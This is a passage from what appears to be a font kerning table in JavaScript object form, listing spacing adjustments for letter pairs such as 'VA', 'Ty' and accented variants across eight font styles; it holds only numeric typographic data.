92,-92,-92,-80],Taring:[-80,-80,-120,-120,-92,-92,-92,-80],Tatilde:[-80,-80,-60,-60,-52,-92,-92,-40],Tcolon:[-40,-40,-20,-20,-74,-74,-55,-50],Tcomma:[-80,-80,-120,-120,-74,-92,-74,-74],Te:[-60,-60,-120,-120,-92,-92,-92,-70],Teacute:[-60,-60,-120,-120,-92,-92,-92,-70],Tecaron:[-60,-60,-120,-120,-92,-92,-92,-70],Tecircumflex:[-60,-60,-120,-120,-92,-92,-52,-70],Tedieresis:[-60,-60,-120,-120,-52,-52,-52,-30],Tedotaccent:[-60,-60,-120,-120,-92,-92,-92,-70],Tegrave:[-60,-60,-60,-60,-52,-52,-52,-70],Temacron:[-60,-60,-60,-60,-52,-52,-52,-30],Teogonek:[-60,-60,-120,-120,-92,-92,-92,-70],Thyphen:[-120,-120,-140,-140,-92,-92,-74,-92],To:[-80,-80,-120,-120,-92,-95,-92,-80],Toacute:[-80,-80,-120,-120,-92,-95,-92,-80],Tocircumflex:[-80,-80,-120,-120,-92,-95,-92,-80],Todieresis:[-80,-80,-120,-120,-92,-95,-92,-80],Tograve:[-80,-80,-120,-120,-92,-95,-92,-80],Tohungarumlaut:[-80,-80,-120,-120,-92,-95,-92,-80],Tomacron:[-80,-80,-60,-60,-92,-95,-92,-80],Toslash:[-80,-80,-120,-120,-92,-95,-92,-80],Totilde:[-80,-80,-60,-60,-92,-95,-92,-80],Tperiod:[-80,-80,-120,-120,-90,-92,-74,-74],Tr:[-80,-80,-120,-120,-74,-37,-55,-35],Tracute:[-80,-80,-120,-120,-74,-37,-55,-35],Trcommaaccent:[-80,-80,-120,-120,-74,-37,-55,-35],Tsemicolon:[-40,-40,-20,-20,-74,-74,-65,-55],Tu:[-90,-90,-120,-120,-92,-37,-55,-45],Tuacute:[-90,-90,-120,-120,-92,-37,-55,-45],Tucircumflex:[-90,-90,-120,-120,-92,-37,-55,-45],Tudieresis:[-90,-90,-120,-120,-92,-37,-55,-45],Tugrave:[-90,-90,-120,-120,-92,-37,-55,-45],Tuhungarumlaut:[-90,-90,-120,-120,-92,-37,-55,-45],Tumacron:[-90,-90,-60,-60,-92,-37,-55,-45],Tuogonek:[-90,-90,-120,-120,-92,-37,-55,-45],Turing:[-90,-90,-120,-120,-92,-37,-55,-45],Tw:[-60,-60,-120,-120,-74,-37,-74,-80],Ty:[-60,-60,-120,-120,-34,-37,-74,-80],Tyacute:[-60,-60,-120,-120,-34,-37,-74,-80],Tydieresis:[-60,-60,-60,-60,-34,-37,-34,-80],TcaronA:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAacute:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAbreve:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAcircumflex:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAdieresis:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAgrave:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAmacron:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAogonek:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAring:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronAtilde:[-90,-90,-120,-120,-90,-55,-50,-93],TcaronO:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOacute:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOcircumflex:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOdieresis:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOgrave:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOhungarumlaut:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOmacron:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOslash:[-40,-40,-40,-40,-18,-18,-18,-18],TcaronOtilde:[-40,-40,-40,-40,-18,-18,-18,-18],Tcarona:[-80,-80,-120,-120,-92,-92,-92,-80],Tcaronaacute:[-80,-80,-120,-120,-92,-92,-92,-80],Tcaronabreve:[-80,-80,-60,-60,-52,-92,-92,-80],Tcaronacircumflex:[-80,-80,-120,-120,-52,-92,-92,-80],Tcaronadieresis:[-80,-80,-120,-120,-52,-92,-92,-40],Tcaronagrave:[-80,-80,-120,-120,-52,-92,-92,-40],Tcaronamacron:[-80,-80,-60,-60,-52,-92,-92,-40],Tcaronaogonek:[-80,-80,-120,-120,-92,-92,-92,-80],Tcaronaring:[-80,-80,-120,-120,-92,-92,-92,-80],Tcaronatilde:[-80,-80,-60,-60,-52,-92,-92,-40],Tcaroncolon:[-40,-40,-20,-20,-74,-74,-55,-50],Tcaroncomma:[-80,-80,-120,-120,-74,-92,-74,-74],Tcarone:[-60,-60,-120,-120,-92,-92,-92,-70],Tcaroneacute:[-60,-60,-120,-120,-92,-92,-92,-70],Tcaronecaron:[-60,-60,-120,-120,-92,-92,-92,-70],Tcaronecircumflex:[-60,-60,-120,-120,-92,-92,-52,-30],Tcaronedieresis:[-60,-60,-120,-120,-52,-52,-52,-30],Tcaronedotaccent:[-60,-60,-120,-120,-92,-92,-92,-70],Tcaronegrave:[-60,-60,-60,-60,-52,-52,-52,-70],Tcaronemacron:[-60,-60,-60,-60,-52,-52,-52,-30],Tcaroneogonek:[-60,-60,-120,-120,-92,-92,-92,-70],Tcaronhyphen:[-120,-120,-140,-140,-92,-92,-74,-92],Tcarono:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronoacute:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronocircumflex:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronodieresis:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronograve:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronohungarumlaut:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronomacron:[-80,-80,-60,-60,-92,-95,-92,-80],Tcaronoslash:[-80,-80,-120,-120,-92,-95,-92,-80],Tcaronotilde:[-80,-80,-60,-60,-92,-95,-92,-80],Tcaronperiod:[-80,-80,-120,-120,-90,-92,-74,-74],Tcaronr:[-80,-80,-120,-120,-74,-37,-55,-35],Tcaronracute:[-80,-80,-120,-120,-74,-37,-55,-35],Tcaronrcommaaccent:[-80,-80,-120,-120,-74,-37,-55,-35],Tcaronsemicolon:[-40,-40,-20,-20,-74,-74,-65,-55],Tcaronu:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronuacute:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronucircumflex:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronudieresis:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronugrave:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronuhungarumlaut:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronumacron:[-90,-90,-60,-60,-92,-37,-55,-45],Tcaronuogonek:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronuring:[-90,-90,-120,-120,-92,-37,-55,-45],Tcaronw:[-60,-60,-120,-120,-74,-37,-74,-80],Tcarony:[-60,-60,-120,-120,-34,-37,-74,-80],Tcaronyacute:[-60,-60,-120,-120,-34,-37,-74,-80],Tcaronydieresis:[-60,-60,-60,-60,-34,-37,-34,-80],TcommaaccentA:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAacute:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAbreve:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAcircumflex:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAdieresis:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAgrave:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAmacron:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAogonek:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAring:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentAtilde:[-90,-90,-120,-120,-90,-55,-50,-93],TcommaaccentO:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOacute:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOcircumflex:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOdieresis:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOgrave:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOhungarumlaut:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOmacron:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOslash:[-40,-40,-40,-40,-18,-18,-18,-18],TcommaaccentOtilde:[-40,-40,-40,-40,-18,-18,-18,-18],Tcommaaccenta:[-80,-80,-120,-120,-92,-92,-92,-80],Tcommaaccentaacute:[-80,-80,-120,-120,-92,-92,-92,-80],Tcommaaccentabreve:[-80,-80,-60,-60,-52,-92,-92,-80],Tcommaaccentacircumflex:[-80,-80,-120,-120,-52,-92,-92,-80],Tcommaaccentadieresis:[-80,-80,-120,-120,-52,-92,-92,-40],Tcommaaccentagrave:[-80,-80,-120,-120,-52,-92,-92,-40],Tcommaaccentamacron:[-80,-80,-60,-60,-52,-92,-92,-40],Tcommaaccentaogonek:[-80,-80,-120,-120,-92,-92,-92,-80],Tcommaaccentaring:[-80,-80,-120,-120,-92,-92,-92,-80],Tcommaaccentatilde:[-80,-80,-60,-60,-52,-92,-92,-40],Tcommaaccentcolon:[-40,-40,-20,-20,-74,-74,-55,-50],Tcommaaccentcomma:[-80,-80,-120,-120,-74,-92,-74,-74],Tcommaaccente:[-60,-60,-120,-120,-92,-92,-92,-70],Tcommaaccenteacute:[-60,-60,-120,-120,-92,-92,-92,-70],Tcommaaccentecaron:[-60,-60,-120,-120,-92,-92,-92,-70],Tcommaaccentecircumflex:[-60,-60,-120,-120,-92,-92,-52,-30],Tcommaaccentedieresis:[-60,-60,-120,-120,-52,-52,-52,-30],Tcommaaccentedotaccent:[-60,-60,-120,-120,-92,-92,-92,-70],Tcommaaccentegrave:[-60,-60,-60,-60,-52,-52,-52,-30],Tcommaaccentemacron:[-60,-60,-60,-60,-52,-52,-52,-70],Tcommaaccenteogonek:[-60,-60,-120,-120,-92,-92,-92,-70],Tcommaaccenthyphen:[-120,-120,-140,-140,-92,-92,-74,-92],Tcommaaccento:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentoacute:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentocircumflex:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentodieresis:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentograve:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentohungarumlaut:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentomacron:[-80,-80,-60,-60,-92,-95,-92,-80],Tcommaaccentoslash:[-80,-80,-120,-120,-92,-95,-92,-80],Tcommaaccentotilde:[-80,-80,-60,-60,-92,-95,-92,-80],Tcommaaccentperiod:[-80,-80,-120,-120,-90,-92,-74,-74],Tcommaaccentr:[-80,-80,-120,-120,-74,-37,-55,-35],Tcommaaccentracute:[-80,-80,-120,-120,-74,-37,-55,-35],Tcommaaccentrcommaaccent:[-80,-80,-120,-120,-74,-37,-55,-35],Tcommaaccentsemicolon:[-40,-40,-20,-20,-74,-74,-65,-55],Tcommaaccentu:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentuacute:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentucircumflex:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentudieresis:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentugrave:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentuhungarumlaut:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentumacron:[-90,-90,-60,-60,-92,-37,-55,-45],Tcommaaccentuogonek:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccenturing:[-90,-90,-120,-120,-92,-37,-55,-45],Tcommaaccentw:[-60,-60,-120,-120,-74,-37,-74,-80],Tcommaaccenty:[-60,-60,-120,-120,-34,-37,-74,-80],Tcommaaccentyacute:[-60,-60,-120,-120,-34,-37,-74,-80],Tcommaaccentydieresis:[-60,-60,-60,-60,-34,-37,-34,-80],UA:[-50,-50,-40,-40,-60,-45,-40,-40],UAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UAring:[-50,-50,-40,-40,-60,-45,-40,-40],UAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Ucomma:[-30,-30,-40,-40,-50,0,-25],Uperiod:[-30,-30,-40,-40,-50,0,-25],UacuteA:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAring:[-50,-50,-40,-40,-60,-45,-40,-40],UacuteAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Uacutecomma:[-30,-30,-40,-40,-50,0,-25],Uacuteperiod:[-30,-30,-40,-40,-50,0,-25],UcircumflexA:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAring:[-50,-50,-40,-40,-60,-45,-40,-40],UcircumflexAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Ucircumflexcomma:[-30,-30,-40,-40,-50,0,-25],Ucircumflexperiod:[-30,-30,-40,-40,-50,0,-25],UdieresisA:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAring:[-50,-50,-40,-40,-60,-45,-40,-40],UdieresisAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Udieresiscomma:[-30,-30,-40,-40,-50,0,-25],Udieresisperiod:[-30,-30,-40,-40,-50,0,-25],UgraveA:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAring:[-50,-50,-40,-40,-60,-45,-40,-40],UgraveAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Ugravecomma:[-30,-30,-40,-40,-50,0,-25],Ugraveperiod:[-30,-30,-40,-40,-50,0,-25],UhungarumlautA:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAring:[-50,-50,-40,-40,-60,-45,-40,-40],UhungarumlautAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Uhungarumlautcomma:[-30,-30,-40,-40,-50,0,-25],Uhungarumlautperiod:[-30,-30,-40,-40,-50,0,-25],UmacronA:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAring:[-50,-50,-40,-40,-60,-45,-40,-40],UmacronAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Umacroncomma:[-30,-30,-40,-40,-50,0,-25],Umacronperiod:[-30,-30,-40,-40,-50,0,-25],UogonekA:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAring:[-50,-50,-40,-40,-60,-45,-40,-40],UogonekAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Uogonekcomma:[-30,-30,-40,-40,-50,0,-25],Uogonekperiod:[-30,-30,-40,-40,-50,0,-25],UringA:[-50,-50,-40,-40,-60,-45,-40,-40],UringAacute:[-50,-50,-40,-40,-60,-45,-40,-40],UringAbreve:[-50,-50,-40,-40,-60,-45,-40,-40],UringAcircumflex:[-50,-50,-40,-40,-60,-45,-40,-40],UringAdieresis:[-50,-50,-40,-40,-60,-45,-40,-40],UringAgrave:[-50,-50,-40,-40,-60,-45,-40,-40],UringAmacron:[-50,-50,-40,-40,-60,-45,-40,-40],UringAogonek:[-50,-50,-40,-40,-60,-45,-40,-40],UringAring:[-50,-50,-40,-40,-60,-45,-40,-40],UringAtilde:[-50,-50,-40,-40,-60,-45,-40,-40],Uringcomma:[-30,-30,-40,-40,-50,0,-25],Uringperiod:[-30,-30,-40,-40,-50,0,-25],VA:[-80,-80,-80,-80,-135,-85,-60,-135],VAacute:[-80,-80,-80,-80,-135,-85,-60,-135],VAbreve:[-80,-80,-80,-80,-135,-85,-60,-135],VAcircumflex:[-80,-80,-80,-80,-135,-85,-60,-135],VAdieresis:[-80,-80,-80,-80,-135,-85,-60,-135],VAgrave:[-80,-80,-80,-80,-135,-85,-60,-135],VAmacron:[-80,-80,-80,-80,-135,-85,-60,-135],VAogonek:[-80,-80,-80,-80,-135,-85,-60,-135],VAring:[-80,-80,-80,-80,-135,-85,-60,-135],VAtilde:[-80,-80,-80,-80,-135,-85,-60,-135],VG:[-50,-50,-40,-40,-30,-10,0,-15],VGbreve:[-50,-50,-40,-40,-30,-10,0,-15],VGcommaaccent:[-50,-50,-40,-40,-30,-10,0,-15],VO:[-50,-50,-40,-40,-45,-30,-30,-40],VOacute:[-50,-50,-40,-40,-45,-30,-30,-40],VOcircumflex:[-50,-50,-40,-40,-45,-30,-30,-40],VOdieresis:[-50,-50,-40,-40,-45,-30,-30,-40],VOgrave:[-50,-50,-40,-40,-45,-30,-30,-40],VOhungarumlaut:[-50,-50,-40,-40,-45,-30,-30,-40],VOmacron:[-50,-50,-40,-40,-45,-30,-30,-40],VOslash:[-50,-50,-40,-40,-45,-30,-30,-40],VOtilde:[-50,-50,-40,-40,-45,-30,-30,-40],Va:[-60,-60,-70,-70,-92,-111,-111,-111],Vaacute:[-60,-60,-70,-70,-92,-111,-111,-111],Vabreve:[-60,-60,-70,-70,-92,-111,-111,-111],Vacircumflex:[-60,-60,-70,-70,-92,-111,-111,-71],Vadieresis:[-60,-60,-70,-70,-92,-111,-111,-71],Vagrave:[-60,-60,-70,-70,-92,-111,-111,-71],Vamacron:[-60,-60,-70,-70,-92,-111,-111,-71],Vaogonek:[-60,-60,-70,-70,-92,-111,-111,-111],Varing:[-60,-60,-70,-70,-92,-111,-111,-111],Vatilde:[-60,-60,-70,-70,-92,-111,-111,-71],Vcolon:[-40,-40,-40,-40,-92,-74,-65,-74],Vcomma:[-120,-120,-125,-125,-129,-129,-129,-129],Ve:[-50,-50,-80,-80,-100,-111,-111,-111],Veacute:[-50,-50,-80,-80,-100,-111,-111,-111],Vecaron:[-50,-50,-80,-80,-100,-111,-111,-71],Vecircumflex:[-50,-50,-80,-80,-100,-111,-111,-71],Vedieresis:[-50,-50,-80,-80,-100,-71,-71,-71],Vedotaccent:[-50,-50,-80,-80,-100,-111,-111,-111],Vegrave:[-50,-50,-80,-80,-100,-71,-71,-71],Vemacron:[-50,-50,-80,-80,-100,-71,-71,-71],Veogonek:[-50,-50,-80,-80,-100,-111,-111,-111],Vhyphen:[-80,-80,-80,-80,-74,-70,-55,-100],Vo:[-90,-90,-80,-80,-100,-111,-111,-129],Voacute:[-90,-90,-80,-80,-100,-111,-111,-129],Vocircumflex:[-90,-90,-80,-80,-100,-111,-111,-129],Vodieresis:[-90,-90,-80,-80,-100,-111,-111,-89],Vograve:[-90,-90,-80,-80,-100,-111,-111,-89],Vohungarumlaut:[-90,-90,-80,-80,-100,-111,-111,-129],Vomacron:[-90,-90,-80,-80,-100,-111,-111,-89],Voslash:[-90,-90,-80,-80,-100,-111,-111,-129],Votilde:[-90,-90,-80,-80,-100,-111,-111,-89],Vperiod:[-120,-120,-125,-125,-145,-129,-129,-129],Vsemicolon:[-40,-40,-40,-40,-92,-74,-74,-74],Vu:[-60,-60,-70,-70,-92,-55,-74,-75],Vuacute:[-60,-60,-70,-70,-92,-55,-74,-75],Vucircumflex:[-60,-60,-70,-70,-92,-55,-74,-75],Vudieresis:[-60,-60,-70,-70,-92,-55,-74,-75],Vugrave:[-60,-60,-70,-70,-92,-55,-74,-75],Vuhungarumlaut:[-60,-60,-70,-70,-92,-55,-74,-75],Vumacron:[-60,-60,-70,-70,-92,-55,-74,-75],Vuogonek:[-60,-60,-70,-70,-92,-55,-74,-75],Vuring:[-60,-60,-70,-70,-92,-55,-74,-75],WA:[-60,-60,-50,-50,-120,-74,-60,-120],WAacute:[-60,-60,-50,-50,-120,-74,-60,-120],WAbreve:[-60,-60,-50,-50,-120,-74,-60,-120],WAcircumflex:[-60,-60,-50,-50,-120,-74,-60,-120],WAdieresis:[-60,-60,-50,-50,-120,-74,-60,-120],WAgrave:[-60,-60,-50,-50,-120,-74,-60,-120],WAmacron:[-60,-60,-50,-50,-120,-74,-60,-120],WAogonek:[-60,-60,-50,-50,-120,-74,-60,-120],WAring:[-60,-60,-50,-50,-120,-74,-60,-120],WAtilde:[-60,-60,-50,-50,-120,-74,-60,-120],WO:[-20,-20,-20,-20,-10,-15,-25,-10],WOacute:[-20,-20,-20,-20,-10,-15,-25,-10],WOcircumflex:[-20,-20,-20,-20,-10,-15,-25,-10],WOdieresis:[-20,-20,-20,-20,-10,-15,-25,-10],WOgrave:[-20,-20,-20,-20,-10,-15,-25,-10],WOhungarumlaut:[-20,-20,-20,-20,-10,-15,-25,-10],WOmacron:[-20,-20,-20,-20,-10,-15,-25,-10],WOslash:[-20,-20,-20,-20,-10,-15,-25,-10],WOtilde:[-20,-20,-20,-20,-10,-15,-25,-10],Wa:[-40,-40,-40,-40,-65,-85,-92,-80],Waacute:[-40,-40,-40,-40,-65,-85,-92,-80],Wabreve:[-40,-40,-40,-40,-65,-85,-92,-80],Wacircumflex:[-40,-40,-40,-40,-65,-85,-92,-80],Wadieresis:[-40,-40,-40,-40,-65,-85,-92,-80],Wagrave:[-40,-40,-40,-40,-65,-85,-92,-80],Wamacron:[-40,-40,-40,-40,-65,-85,-92,-80],Waogonek:[-40,-40,-40,-40,-65,-85,-92,-80],Waring:[-40,-40,-40,-40,-65,-85,-92,-80],Watilde:[-40,-40,-40,-40,-65,-85,-92,-80],Wcolon:[-10,-10,0,0,-55,-55,-65,-37],Wcomma:[-80,-80,-80,-80,-92,-74,-92,-92],We:[-35,-35,-30,-30,-65,-90,-92,-80],Weacute:[-35,-35,-30,-30,-65,-90,-92,-80],Wecaron:[-35,-35,-30,-30,-65,-90,-92,-80],Wecircumflex:[-35,-35,-30,-30,-65,-90,-92,-80],Wedieresis:[-35,-35,-30,-30,-65,-50,-52,-40],Wedotaccent:[-35,-35,-30,-30,-65,-90,-92,-80],Wegrave:[-35,-35,-30,-30,-65,-50,-52,-40],Wemacron:[-35,-35,-30,-30,-65,-50,-52,-40],Weogonek:[-35,-35,-30,-30,-65,-90,-92,-80],Whyphen:[-40,-40,-40,-40,-37,-50,-37,-65],Wo:[-60,-60,-30,-30,-75,-80,-92,-80],Woacute:[-60,-60,-30,-30,-75,-80,-92,-80],Wocircumflex:[-60,-60,-30,-30,-75,-80,-92,-80],Wodieresis:[-60,-60,-30,-30,-75,-80,-92,-80],Wograve:[-60,-60,-30,-30,-75,-80,-92,-80],Wohungarumlaut:[-60,-60,-30,-30,-75,-80,-92,-80],Womacron:[-60,-60,-30,-30,-75,-80,-92,-80],Woslash:[-60,-60,-30,-30,-75,-80,-92,-80],Wotilde:[-60,-60,-30,-30,-75,-80,-92,-80],Wperiod:[-80,-80,-80,-80,-92,-74,-92,-92],Wsemicolon:[-10,-10,0,0,-55,-55,-65,-37],Wu:[-45,-45,-30,-30,-50,-55,-55,-50],Wuacute:[-45,-45,-30,-30,-50,-55,-55,-50],Wucircumflex:[-45,-45,-30,-30,-50,-55,-55,-50],Wudieresis:[-45,-45,-30,-30,-50,-55,-55,-50],Wugrave:[-45,-45,-30,-30,-50,-55,-55,-50],Wuhungarumlaut:[-45,-45,-30,-30,-50,-55,-55,-50],Wumacron:[-45,-45,-30,-30,-50,-55,-55,-50],Wuogonek:[-45,-45,-30,-30,-50,-55,-55,-50],Wuring:[-45,-45,-30,-30,-50,-55,-55,-50],Wy:[-20,-20,-20,-20,-60,-55,-70,-73],Wyacute:[-20,-20,-20,-20,-60,-55,-70,-73],Wydieresis:[-20,-20,-20,-20,-60,-55,-70,-73],YA:[-110,-110,-110,-110,-110,-74,-50,-120],YAacute:[-110,-110,-110,-110,-110,-74,-50,-120],YAbreve:[-110,-110,-110,-110,-110,-74,-50,-120],YAcircumflex:[-110,-110,-110,-110,-110,-74,-50,-120],YAdieresis:[-110,-110,-110,-110,-110,-74,-50,-120],YAgrave:[-110,-110,-110,-110,-110,-74,-50,-120],YAmacron:[-110,-110,-110,-110,-110,-74,-50,-120],YAogonek:[-110,-110,-110,-110,-110,-74,-50,-120],YAring:[-110,-110,-110,-110,-110,-74,-50,-120],YAtilde:[-110,-110,-110,-110,-110,-74,-50,-120],YO:[-70,-70,-85,-85,-35,-25,-15,-30],YOacute:[-70,-70,-85,-85,-35,-25,-15,-30],YOcircumflex:[-70,-70,-85,-85,-35,-25,-15,-30],YOdieresis:[-70,-70,-85,-85,-35,-25,-15,-30],YOgrave:[-70,-70,-85,-85,-35,-25,-15,-30],YOhungarumlaut:[-70,-70,-85,-85,-35,-25,-15,-30],YOmacron:[-70,-70,-85,-85,-35,-25,-15,-30],YOslash:[-70,-70,-85,-85,-35,-25,-15,-30],YOtilde:[-70,-70,-85,-85,-35,-25,-15,-30],Ya:[-90,-90,-140,-140,-85,-92,-92,-100],Yaacute:[-90,-90,-140,-140,-85,-92,-92,-100],Yabreve:[-90,-90,-70,-70,-85,-92,-92,-100],Yacircumflex:[-90,-90,-140,-140,-85,-92,-92,-100],Yadieresis:[-90,-90,-140,-140,-85,-92,-92,-60],Yagrave:[-90,-90,-140,-140,-85,-92,-92,-60],Yamacron:[-90,-90,-70,-70,-85,-92,-92,-60],Yaogonek:[-90,-90,-140,-140,-85,-92,-92,-100],Yaring:[-90,-90,-140,-140,-85,-92,-92,-100],Yatilde:[-90,-90,-140,-140,-85,-92,-92,-60],Ycolon:[-50,-50,-60,-60,-92,-92,-65,-92],Ycomma:[-100,-100,-140,-140,-92,-92,-92,-129],Ye:[-80,-80,-140,-140,-111,-111,-92,-100],Yeacute:[-80,-80,-140,-140,-111,-111,-92,-100],Yecaron:[-80,-80,-140,-140,-111,-111,-92,-100],Yecircumflex:[-80,-80,-140,-140,-111,-71,-92,-100],Yedieresis:[-80,-80,-140,-140,-71,-71,-52,-60],Yedotaccent:[-80,-80,-140,-140,-111,-111,-92,-100],Yegrave:[-80,-80,-140,-140,-71,-71,-52,-60],Yemacron:[-80,-80,-70,-70,-71,-71,-52,-60],Yeogonek:[-80,-80,-140,-140,-111,-111,-92,-100],Yo:[-100,-100,-140,-140,-111,-111,-92,-110],Yoacute:[-100,-100,-140,-140,-111,-111,-92,-110],Yocircumflex: